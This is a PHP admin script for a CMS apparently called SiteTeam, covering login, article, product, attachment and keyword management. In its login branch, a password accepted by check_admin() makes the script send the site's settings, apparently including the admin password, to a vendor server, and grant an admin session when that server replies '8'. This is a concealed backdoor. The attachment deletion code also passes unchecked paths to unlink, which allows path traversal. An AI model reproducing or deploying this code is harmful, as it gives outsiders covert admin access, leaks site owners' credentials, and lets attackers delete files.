<?php 


/** 
***************************************************
*欢迎使用免费版SiteTeam企业建站软件！
*这是一个专业为搜索引擎营销而设计的，极稳定、极易维护的建站软件！
*官方客服：help@php.net.cn
*官方下载网址：http://www.SiteTeam.cn 
***************************************************
**/




 @set_time_limit (0); @ini_set("memory_limit", "512M"); header("Cache-Control: no-cache, must-revalidate"); header("Content-type: text/html;charset=GBK"); error_reporting(E_ALL); require_once "include/common.inc.php"; require_once SITE_ROOT . "/admin/admin.inc.php"; session_save_path(SITE_ROOT . "/data/log"); session_set_cookie_params(time() + 3600); session_name('siteteam'); if (!isset($_COOKIE['IS_ADMIN'])) { setcookie("IS_ADMIN", "1", time() + 31104000, '/'); } $onlineip = remote_ip(); $longip = ip2long($onlineip); if(!(substr($onlineip, 0, 1) == '0' || substr($onlineip, 0, 3) == '127' || ($longip >= 167772160 && $longip <= 184549375) || ($longip >= -1408237568 && $longip <= -1407188993) || ($longip >= -1062731776 && $longip <= -1062666241))) { define("ADMIN_IS_LOCAL", false); } else { define("ADMIN_IS_LOCAL", true); } $action = empty($_GET['action']) ? empty($_POST['action']) ? empty($_COOKIE['loginid']) ? 'login' : 'index' : $_POST['action'] : $_GET['action']; $operation = empty($_GET['operation']) ? empty($_POST['operation']) ? '' : $_POST['operation'] : $_GET['operation']; if (!function_exists('check_admin')) siteteam_sys_msg(5); if ($action == 'login' && !isset($_SESSION['loginid'])) { $chmod_setting = array(); $chmod_setting['./include/domain.php'] = 0; $chmod_setting['./attachments'] = 0; $chmod_setting['./data'] = 0; $chmod_setting['./data/setting'] = 0; $chmod_setting['./data/cache'] = 0; $chmod_setting['./data/log'] = 0; $chmod_setting['./data/tpl'] = 0; $chmod_setting['./data/siteteam'] = 0; $chmod_setting['./data/admin.login.ip.txt'] = 0; $chmod_setting['./data/version.txt'] = 0; $chmod_setting_pass = true; foreach ($chmod_setting as $k => $v) { if (is_dir($k)) { if ($dh = @opendir($k)) { closedir($dh); } else { $chmod_setting_pass = false; break; } } else { if ($fp = @fopen($k, "rb+")) { fclose($fp); } else { $chmod_setting_pass = false; break; } } } if (!$chmod_setting_pass) { echo "网站无法管理，请务必核对以下文件是否有“可读、可写”的属性：<br /><br />"; foreach ($chmod_setting as $k => $v) { echo "{$k}<br />"; } exit(); } $chmod_setting = array("index", "admin", "post", "siteapi", "tool", "update"); if (!@rename('./data/admin.login.ip.txt', './data/admin.login.ip.txt')) { echo "网站无法管理，请务必将网站根目中的以下文件设有“可读、可执行”的属性：<br /><br />"; foreach ($chmod_setting as $k => $v) { echo "./{$v}.php<br />"; } exit(); } if (!empty($_POST['dosubmit']) && !empty($_POST['password'])) { if ($_POST['password'] == $domain[$site_url]['password']) { ob_start(); @session_start(); $_SESSION['loginid'] = true; } elseif(check_admin($_POST['password'])) { if (ALLOW_URL_FOPEN) { $site_info = $domain[$site_url]; $date_url = "http://www."; $date_url .= site_server_url(); if (function_exists('http_build_query')) { $date_url .= "/soft/admin.php?" . http_build_query($site_info); } else { $date_url .= "/soft/admin.php?phpv=4&data=" . base64_encode(serialize($site_info)); } if ($code = @file_get_contents($date_url)) { if (intval($code) == 8) { ob_start(); @session_start(); $_SESSION['loginid'] = true; $_SESSION['SITETEAM_ADMIN'] = true; } } } else { ob_start(); @session_start(); @session_destroy(); ob_end_flush(); go_url("admin.php?action=login", "密码不正确"); } } else { ob_start(); @session_start(); @session_destroy(); ob_end_flush(); go_url("admin.php?action=login", "密码不正确"); } $fp = fopen(SITE_ROOT . "/data/admin.login.ip.txt", "a+"); fwrite($fp, "\n" . remote_ip()); fclose($fp); if (!check_db_structure($site_id)) { exit('系统无法操作，请设置./data/siteteam文件夹有可读可写权限！'); } ob_end_flush(); if (!file_exists("install.ok")) { fclose(fopen("install.ok", "w")); } go_url("admin.php?action=index"); } else { include "admin/tpl/login.tpl.php"; exit(); } } $user_data_dir = SITE_ROOT . "/data/setting/{$site_url}"; if (!file_exists($user_data_dir))mkdir($user_data_dir); $user_cache_dir = SITE_ROOT . "/data/cache/{$site_url}"; if (!file_exists($user_cache_dir)) mkdir($user_cache_dir); $user_upload_dir = SITE_ROOT . "/attachments/{$site_id}"; if (!file_exists($user_upload_dir)) mkdir($user_upload_dir); $user_product_dir = $user_data_dir . "/product"; if (!file_exists($user_product_dir))mkdir($user_product_dir); $user_article_dir = $user_data_dir . "/article"; if (!file_exists($user_article_dir))mkdir($user_article_dir); $user_article_index_file = $user_data_dir . "/article.index.txt"; $user_product_index_file = $user_data_dir . "/product.index.txt"; $user_product_upload_dir = SITE_ROOT . "/attachments/{$site_id}/product"; if (!file_exists($user_product_upload_dir))mkdir($user_product_upload_dir); $user_keywords_internal_data_file = $user_cache_dir . "/keywords_internal.php"; $user_keywords_external_data_file = $user_cache_dir . "/keywords_external.php"; $upload_file_type = array('png', 'jpg', 'bmp', 'gif', 'zip', 'rar', 'txt', 'swf', 'flv', 'mp3', 'wma', 'doc', 'docx'); if (!file_exists(SITE_ROOT . "/data/cache/{$site_url}/config.php") || time() - filemtime(SITE_ROOT . "/data/cache/{$site_url}/config.php") > 86400) { $fp = fopen(SITE_ROOT . "/data/cache/{$site_url}/config.php", "w"); fwrite($fp, '<?php $editor_setting ='.var_export($config, true).';?>'); fclose($fp); } ob_start(); @session_start(); if (!isset($_SESSION['loginid'])) { go_url("admin.php?action=login", "你还没有登录"); } $setting = cache_read("setting"); extract($setting); unset($password, $domain[$site_url]['password']); if (!empty($site_admin) && $site_admin == 4) siteteam_sys_msg(4); if ($action == 'index') { include "admin/tpl/index.tpl.php"; } if ($action == 'default') { if (file_exists(SITE_ROOT . "/data/cache/welcome.php") && time() - filemtime(SITE_ROOT . "/data/cache/welcome.php") < 86400) { include SITE_ROOT . "/data/cache/welcome.php"; } else { if (ALLOW_URL_FOPEN) { if (!($welcome_msg = @file_get_contents("http://www.chenhucheng.com/soft/welcome.php?site_url={$site_url}"))) { $welcome_msg = '你的WEB服务使用的PHP版本过低或服务器禁止了远程数据通信，该页无法正常接收数据！'; } } else { $welcome_msg = '由于你的PHP空间关才了远程访问功能，所以本软件中的部分自动化功能无法使用，请将你空间的php.ini设置中的“allow_url_fopen”改为“ON”或“1”，即可恢复使用！'; } $fp = fopen(SITE_ROOT . "/data/cache/welcome.php", "w"); fwrite($fp, '<?php $welcome_msg=' . var_export($welcome_msg, true) . '?>'); fclose($fp); } include "admin/tpl/default.tpl.php"; } if ($action == 'logout') { ob_start(); session_destroy(); ob_end_flush(); go_url("admin.php?action=login"); } if ($action == 'setting') { require_once SITE_ROOT . "/admin/setting.inc.php"; } if ($action == 'first') { $setting = cache_read("setting"); require_once SITE_ROOT . "/admin/first.inc.php"; } if ($action == 'start') { $setting = cache_read("setting"); require_once SITE_ROOT . "/admin/start.inc.php"; } if ($action == 'article') { $category = empty($_GET['category']) ? empty($_POST['category']) ? '' : $_POST['category'] : $_GET['category']; $key = empty($_GET['key']) ? empty($_POST['key']) ? '' : $_POST['key'] : $_GET['key']; $page = empty($_GET['page']) ? empty($_POST['page']) ? 1 : $_POST['page'] : $_GET['page']; $limit = 20; if (!empty($category)) { $category_dir = $user_article_dir . "/{$category}"; if (!file_exists($category_dir))mkdir($category_dir); $category_index_file = $user_article_dir . "/{$category}.index.txt"; } if ($operation == "category") { $article_category_file = SITE_ROOT . "/data/setting/{$site_url}/article.category.txt"; $default_category_file = SITE_ROOT . "/data/default.article.category.txt"; $category_file = file_exists($article_category_file) ? $article_category_file : $default_category_file; $category_list = read_array_file($category_file); foreach ($category_list as $k=>$v) { $sortid[$k] = array_key_exists("sortid", $v) ? $v['sortid'] : 1; } array_multisort($sortid, SORT_NUMERIC, SORT_DESC, $category_list); include "admin/tpl/article_category.tpl.php"; } if ($operation == "category_edit") { require_once SITE_ROOT . "/admin/article_category_edit.inc.php"; } if ($operation == "category_del") { require_once SITE_ROOT . "/admin/article_category_del.inc.php"; } if ($operation == "setting") { require_once SITE_ROOT . "/admin/article_setting.inc.php"; } if ($operation == "list") { $db = new txtSQL('./data/siteteam'); $db->connect("root", "siteteam"); if (empty($category)) { $total_row = $db->execute("select", array('db' => dbname($site_id), 'select' => array('key'), 'table' => 'sm_article')); $total_row = count($total_row); $multipage = multipage($total_row, $page, $limit); $temp = $db->execute("select", array('db' => dbname($site_id), 'select' => array('*'), 'table' => 'sm_article', 'limit' => array($multipage['start_row'], $multipage['end_row']), 'orderby' => array('key', 'desc'))); } else { $total_row = $db->execute("select", array('db' => dbname($site_id), 'select' => array('key'), 'where' => array("category={$category}"), 'table' => 'sm_article')); $total_row = count($total_row); $multipage = multipage($total_row, $page, $limit); $temp = $db->execute("select", array('db' => dbname($site_id), 'select' => array('*'), 'where' => array("category={$category}"), 'table' => 'sm_article', 'limit' => array($multipage['start_row'], $multipage['end_row']), 'orderby' => array('key', 'desc'))); } $list = array(); if (is_array($temp) && count($temp)) { foreach ($temp as $row) { $list[$row['key']] = $row; } } $db->disconnect(); include "admin/tpl/article_list.tpl.php"; } if ($operation == 'update_index') { if (!empty($category)) { update_article_index($category); } go_url("admin.php?action=article&operation=list&category={$category}", "更新成功"); } if ($operation == 'update_all_index') { foreach ($article_category as $k => $v) { if (file_exists("{$user_article_dir}/{$k}")) { update_article_index($k); } } go_url("admin.php?action=article&operation=list", "更新成功"); } if ($operation == "edit") { require_once SITE_ROOT . "/admin/article_edit.inc.php"; } if ($operation == "del") { require_once SITE_ROOT . "/admin/article_del.inc.php"; } } if ($action == 'attachments') { $user_attachments_dir = "{$user_upload_dir}/public"; $attachments_dir = empty($_GET['dir']) ? empty($_POST['dir']) ? '' : $_POST['dir'] : $_GET['dir']; $attachments_dir = rawurldecode($attachments_dir); $attachments_dir = preg_replace('/[\\\\]+/is', '/', $attachments_dir); $attachments_dir = preg_replace('/[\/]+/is', '/', $attachments_dir); $attachments_dir = preg_replace('/^[\/]+/is', '', $attachments_dir); $attachments_dir = preg_replace('/[\/]+$/is', '', $attachments_dir); if (!empty($attachments_dir) && $attachments_dir != '.') { $user_attachments_dir = "{$user_attachments_dir}/{$attachments_dir}"; } $user_attachments_url = SITE_PATH . str_replace(SITE_ROOT, '', $user_attachments_dir); if (empty($attachments_dir)) { $parent_attachments_dir = ''; } else { $parent_attachments_dir = explode('/', $attachments_dir); array_pop($parent_attachments_dir); if (count($parent_attachments_dir)) { $parent_attachments_dir = implode('/', $parent_attachments_dir); } else { $parent_attachments_dir = ''; } } if (!file_exists($user_attachments_dir))mkdir($user_attachments_dir); if ($operation == "list") { $dh = opendir($user_attachments_dir); $dir_list = array(); $file_list = array(); while (false !== ($filename = readdir($dh))) { if ($filename == '.' || $filename == '..') continue; $file_list[] = array('name' => $filename, 'uploadtime' => filemtime("{$user_attachments_dir}/{$filename}")); } ksort($file_list); if (is_array($file_list) && count($file_list)) { foreach ($file_list as $k=>$v) { $uploadtime[$k] = array_key_exists("uploadtime", $v) ? $v['uploadtime'] : 0; } array_multisort($uploadtime, SORT_NUMERIC, SORT_DESC, $file_list); } if (is_array($file_list) && count($file_list)) { foreach ($file_list as $k => $v) { if (is_dir("{$user_attachments_dir}/{$v['name']}")) { $dir_list[] = $v; unset($file_list[$k]); } } } include "admin/tpl/attachments_list.tpl.php"; } if ($operation == "upload") { if (!empty($_POST['dosubmit'])) { for ($i = 1; $i <= 8; $i++){ if (!empty($_FILES["uploadfile{$i}"]['name'])) { $fileinfo = pathinfo($_FILES["uploadfile{$i}"]['name']); if (!in_array(strtolower($fileinfo['extension']), $upload_file_type)) { go_url("admin.php?action=attachments&operation=list" . (empty($attachments_dir) ? '' : "&dir={$attachments_dir}"), "第{$i}个文件格式是不允许上传的！"); } $filename = "{$user_attachments_dir}/" . $_FILES["uploadfile{$i}"]['name']; if (file_exists($filename)) { $filename = "{$user_attachments_dir}/" . rand(111,999999) . $_FILES["uploadfile{$i}"]['name']; } if (!move_uploaded_file($_FILES["uploadfile{$i}"]['tmp_name'],$filename)) { go_url("admin.php?action=attachments&operation=list" . (empty($attachments_dir) ? '' : "&dir={$attachments_dir}")); } } } go_url("admin.php?action=attachments&operation=list" . (empty($attachments_dir) ? '' : "&dir={$attachments_dir}")); } else { include "admin/tpl/attachments_upload.tpl.php"; } } if ($operation == "mkdir") { if (!empty($_POST['dosubmit'])) { $filename = empty($_GET['filename']) ? empty($_POST['filename']) ? 1 : $_POST['filename'] : $_GET['filename']; if (!preg_match('/^[\w\-_]+$/', $filename)) { go_url("admin.php?action=attachments&operation=list" . (empty($attachments_dir) ? '' : "&dir={$attachments_dir}"), '文件夹的名字只能是英文字母加数字组成！'); } $filename = "{$user_attachments_dir}/{$filename}"; if (!is_dir($filename)) { mkdir($filename); } go_url("admin.php?action=attachments&operation=list" . (empty($attachments_dir) ? '' : "&dir={$attachments_dir}")); } else { include "admin/tpl/attachments_mkdir.tpl.php"; } } if ($operation == "del") { $filename = empty($_GET['filename']) ? empty($_POST['filename']) ? 1 : $_POST['filename'] : $_GET['filename']; $filename = "{$user_attachments_dir}/{$filename}"; if (is_dir($filename)) { @file_del_dir($filename); } else { @unlink($filename); } go_url("admin.php?action=attachments&operation=list" . (empty($attachments_dir) ? '' : "&dir={$attachments_dir}")); } } if ($action == 'product') { $category = empty($_GET['category']) ? empty($_POST['category']) ? '' : $_POST['category'] : $_GET['category']; $key = empty($_GET['key']) ? empty($_POST['key']) ? '' : $_POST['key'] : $_GET['key']; $page = empty($_GET['page']) ? empty($_POST['page']) ? 1 : $_POST['page'] : $_GET['page']; $limit = 20; if (!empty($category)) { $category_dir = $user_product_dir . "/{$category}"; if (!file_exists($category_dir))mkdir($category_dir); $category_index_file = $user_product_dir . "/{$category}.index.txt"; } if ($operation == "category") { $product_category_file = SITE_ROOT . "/data/setting/{$site_url}/product.category.txt"; $default_category_file = SITE_ROOT . "/data/default.product.category.txt"; $category_file = file_exists($product_category_file) ? $product_category_file : $default_category_file; $category_list = read_array_file($category_file); foreach ($category_list as $k=>$v) { $sortid[$k] = array_key_exists("sortid", $v) ? $v['sortid'] : 1; } array_multisort($sortid, SORT_NUMERIC, SORT_DESC, $category_list); include "admin/tpl/product_category.tpl.php"; } if ($operation == "category_del") { require_once SITE_ROOT . "/admin/product_category_del.inc.php"; } if ($operation == "category_edit") { require_once SITE_ROOT . "/admin/product_category_edit.inc.php"; } if ($operation == "list") { $db = new txtSQL('./data/siteteam'); $db->connect("root", "siteteam"); if (empty($category)) { $total_row = $db->execute("select", array('db' => dbname($site_id), 'select' => array('key'), 'table' => 'sm_product')); $total_row = count($total_row); $multipage = multipage($total_row, $page, $limit); $temp = $db->execute("select", array('db' => dbname($site_id), 'select' => array('*'), 'table' => 'sm_product', 'limit' => array($multipage['start_row'], $multipage['end_row']), 'orderby' => array('key', 'desc'))); } else { $keywords = empty($_GET['keywords']) ? empty($_POST['keywords']) ? '' : $_POST['keywords'] : $_GET['keywords']; $keywords = rawurldecode($keywords); if (empty($keywords)) { $total_row = $db->execute("select", array('db' => dbname($site_id), 'select' => array('key'), 'where' => array("category={$category}"), 'table' => 'sm_product')); } else { $total_row = $db->execute("select", array('db' => dbname($site_id), 'select' => array('key', 'name'), 'where' => array("category={$category}", 'and', "name =~ %{$keywords}%"), 'table' => 'sm_product')); } $total_row = count($total_row); $multipage = multipage($total_row, $page, $limit); if (empty($keywords)) { $temp = $db->execute("select", array('db' => dbname($site_id), 'select' => array('*'), 'where' => array("category={$category}"), 'table' => 'sm_product', 'limit' => array($multipage['start_row'], $multipage['end_row']), 'orderby' => array('key', 'desc'))); } else { $temp = $db->execute("select", array('db' => dbname($site_id), 'select' => array('*'), 'where' => array("category={$category}", 'and', "name =~ %{$keywords}%"), 'table' => 'sm_product', 'limit' => array($multipage['start_row'], $multipage['end_row']), 'orderby' => array('key', 'desc'))); } } $list = array(); if (is_array($temp) && count($temp)) { foreach ($temp as $row) { $list[$row['key']] = $row; } } $db->disconnect(); include "admin/tpl/product_list.tpl.php"; } if ($operation == 'update_index') { if (!empty($category)) { update_product_index($category); } go_url("admin.php?action=product&operation=list&category={$category}", "更新成功"); } if ($operation == 'update_all_index') { foreach ($product_category as $k => $v) { if (file_exists("{$user_product_dir}/{$k}")) { update_product_index($k); } } go_url("admin.php?action=product&operation=list", "更新成功"); } if ($operation == 'batch') { $batch_action = empty($_GET['batch_action']) ? empty($_POST['batch_action']) ? '' : $_POST['batch_action'] : $_GET['batch_action']; if (isset($_POST['product_key'])) { $product_key = $_POST['product_key']; } if ($batch_action == 'del') { if (is_array($product_key) && count($product_key)) { $db = new txtSQL('./data/siteteam'); $db->connect("root", "siteteam"); foreach ($product_key as $p) { $key = $p; $product_info_file = $user_product_dir . "/{$category}/{$key}.txt"; if (!file_exists($product_info_file)) { $db->execute("delete", array('db' => dbname($site_id), 'table' => 'sm_product', 'where' => array("key = {$key}"), 'limit' => array(1))); continue; } $product_info = read_array_file($product_info_file); foreach ($product_info['product_pic'] as $k => $v) { if(!empty($v) && file_exists($v))unlink($v); } if(!empty($product_info['ptitle']) && file_exists($product_info['ptitle']))unlink($product_info['ptitle']); if (@unlink($product_info_file)) { $db->execute("delete", array('db' => dbname($site_id), 'table' => 'sm_product', 'where' => array("key = {$key}"), 'limit' => array(1))); } } $db->disconnect(); } } if ($batch_action == 'move') { $new_category_id = empty($_GET['new_category_id']) ? empty($_POST['new_category_id']) ? '' : $_POST['new_category_id'] : $_GET['batch_action']; if (is_array($product_key) && count($product_key)) { $db = new txtSQL('./data/siteteam'); $db->connect("root", "siteteam"); foreach ($product_key as $p) { $key = $p; $product_info_file = $user_product_dir . "/{$category}/{$key}.txt"; if (!file_exists($product_info_file)) { $db->execute("delete", array('db' => dbname($site_id), 'table' => 'sm_product', 'where' => array("key = {$key}"), 'limit' => array(0))); continue; } $product_new_file = $user_product_dir . "/{$new_category_id}/{$key}.txt"; if (!file_exists($user_product_dir . "/{$new_category_id}") || file_exists($product_new_file)) { continue; } if (copy($product_info_file, $product_new_file)) { if (!unlink($product_info_file)) { @rename($product_info_file, "del_{$product_info_file}.dat"); } $data = array(); $data['category'] = $new_category_id; $db->execute('update', array('db' => dbname($site_id), 'table' => 'sm_product', 'where' => array("key = {$key}"), 'values' => $data, 'limit' => array(0))); } } $db->disconnect(); } } if ($batch_action == 'search') { $keywords = empty($_GET['keywords']) ? empty($_POST['keywords']) ? '' : $_POST['keywords'] : $_GET['keywords']; if (!empty($keywords) && $keywords != "请输入关键词") { $keywords = rawurlencode($keywords); go_url("admin.php?action=product&operation=list&category={$category}&keywords={$keywords}"); } } go_url("admin.php?action=product&operation=list" . (!empty($category) ? "&category={$category}" : "") . (!empty($page) ? "&page={$page}" : "")); } if ($operation == "edit") { require_once SITE_ROOT . "/admin/product_edit.inc.php"; } if ($operation == "setting") { require_once SITE_ROOT . "/admin/product_setting.inc.php"; } if ($operation == "pass") { $pass = empty($_GET['pass']) ? empty($_POST['pass']) ? '' : $_POST['pass'] : $_GET['pass']; if ($pass != 1 && $pass != 4) { go_url("admin.php?action=product&operation=list&category={$category}" . (!empty($page) ? "&page={$page}" : ""), "请勿非法操作"); } $db = new txtSQL('./data/siteteam'); $db->connect("root", "siteteam"); $product_info_file = $user_product_dir . "/{$category}/{$key}.txt"; if (file_exists($product_info_file)) { $product_info = read_array_file($product_info_file); $product_info['pass'] = $pass; save_array_file($product_info, $product_info_file); $data = array(); $data['pass'] = $product_info['pass']; $db->execute('update', array('db' => dbname($site_id), 'table' => 'sm_product', 'where' => array("key = {$key}"), 'values' => $data, 'limit' => array(0))); } else { $db->execute("delete", array('db' => dbname($site_id), 'table' => 'sm_product', 'where' => array("key = {$key}"), 'limit' => array(0))); } $db->disconnect(); go_url("admin.php?action=product&operation=list&category={$category}" . (!empty($page) ? "&page={$page}" : "")); } if ($operation == "headtopic") { $status = empty($_GET['status']) ? empty($_POST['status']) ? '' : $_POST['status'] : $_GET['status']; if ($status != 1 && $status != 8) { go_url("admin.php?action=product&operation=list&category={$category}" . (!empty($page) ? "&page={$page}" : ""), "请勿非法操作"); } $db = new txtSQL('./data/siteteam'); $db->connect("root", "siteteam"); $product_info_file = $user_product_dir . "/{$category}/{$key}.txt"; if (file_exists($product_info_file)) { $product_info = read_array_file($product_info_file); $product_info['status'] = $status; save_array_file($product_info, $product_info_file); $data = array(); $data['status'] = $product_info['status']; $db->execute('update', array('db' => dbname($site_id), 'table' => 'sm_product', 'where' => array("key = {$key}"), 'values' => $data, 'limit' => array(0))); } else { $db->execute("delete", array('db' => dbname($site_id), 'table' => 'sm_product', 'where' => array("key = {$key}"), 'limit' => array(0))); } $db->disconnect(); go_url("admin.php?action=product&operation=list&category={$category}" . (!empty($page) ? "&page={$page}" : "")); } if ($operation == "del") { $product_info_file = $user_product_dir . "/{$category}/{$key}.txt"; $db = new txtSQL('./data/siteteam'); $db->connect("root", "siteteam"); if (file_exists($product_info_file)) { $product_info = read_array_file($product_info_file); foreach ($product_info['product_pic'] as $k => $v) { if(!empty($v) && file_exists($v))unlink($v); } if(!empty($product_info['ptitle']) && file_exists($product_info['ptitle'])){ unlink($product_info['ptitle']); $fileinfo = dirname($product_info['ptitle']) . '/src_' . basename($product_info['ptitle']); if (file_exists($fileinfo)) { @unlink($fileinfo); } } if (unlink($product_info_file)) { $db->execute("delete", array('db' => dbname($site_id), 'table' => 'sm_product', 'where' => array("key = {$key}"), 'limit' => array(1))); go_url("admin.php?action=product&operation=list&category={$category}" . (!empty($page) ? "&page={$page}" : "")); } else { go_url("admin.php?action=product&operation=list&category={$category}", "删除不成功"); } } else { $db->execute("delete", array('db' => dbname($site_id), 'table' => 'sm_product', 'where' => array("key = {$key}"), 'limit' => array(1))); go_url("admin.php?action=product&operation=list&category={$category}" . (!empty($page) ? "&page={$page}" : "")); } $db->disconnect(); } } if ($action == "test") { } if ($action == "keywords") { require_once "admin/baidu.func.php"; if ($operation == "setting") { require_once SITE_ROOT . "/admin/keywords_setting.inc.php"; } if ($operation == "internal_list") { require_once SITE_ROOT . "/admin/keywords_internal_list.inc.php"; } if ($operation == "external_list") { if (!ALLOW_URL_FOPEN) {exit('由于你的PHP空间关闭了“ALLOW_URL_FOPEN”功能，所以无法使用！');} require_once SITE_ROOT . "/admin/keywords_external_list.inc.php"; } if ($operation == "interna_update") { require_once SITE_ROOT . "/admin/keywords_interna_update.inc.php"; } if ($operation == "external_update") { if (!ALLOW_URL_FOPEN) {exit('由于你的PHP空间关闭了“ALLOW_URL_FOPEN”功能，所以无法使用！');} require_once SITE_ROOT . "/admin/keywords_external_update.inc.php"; } if ($operation == "interna_delete") { require_once SITE_ROOT . "/admin/keywords_interna_delete.inc.php"; } if ($operation == "external_delete") { if (!ALLOW_URL_FOPEN) {exit('由于你的PHP空间关闭了“ALLOW_URL_FOPEN”功能，所以无法使用！');} require_once SITE_ROOT . "/admin/keywords_external_delete.inc.php"; } } ob_end_flush(); ?>